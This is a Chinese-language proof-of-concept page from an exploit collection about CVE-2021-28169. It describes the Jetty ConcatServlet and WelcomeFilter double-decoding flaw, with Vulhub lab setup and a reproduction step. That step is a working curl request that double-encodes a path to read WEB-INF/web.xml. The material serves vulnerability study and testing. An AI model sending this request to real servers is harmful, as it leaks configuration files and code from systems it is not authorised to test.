Awesome-POC/中间件漏洞/Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞 CVE-2021-28169.md

42 lines
1.3 KiB
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞 CVE-2021-28169
## 漏洞描述
Eclipse Jetty是一个开源的servlet容器它为基于Java的Web容器提供运行环境而Jetty Servlets是Jetty提供给开发者的一些通用组件。
在9.4.40, 10.0.2, 11.0.2版本前Jetty Servlets中的`ConcatServlet``WelcomeFilter`类存在多重解码问题如果开发者主动使用了这两个类攻击者可以利用其访问WEB-INF目录下的敏感文件造成配置文件及代码泄露。
参考链接:
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
## 环境搭建
Vulhub执行如下命令启动一个Jetty 9.4.40服务器:
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看到一个example页面。该页面使用到了`ConcatServlet`来优化静态文件的加载:
```
<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
```
![image-20220224164457554](images/202202241652563.png)
## 漏洞复现
正常通过`/static?/WEB-INF/web.xml`无法访问到敏感文件web.xml
![image-20220224165314273](images/202202241653506.png)
对字母`W`进行双URL编码即可绕过限制访问web.xml
```
curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'
```
![image-20220224165357342](images/202202241653568.png)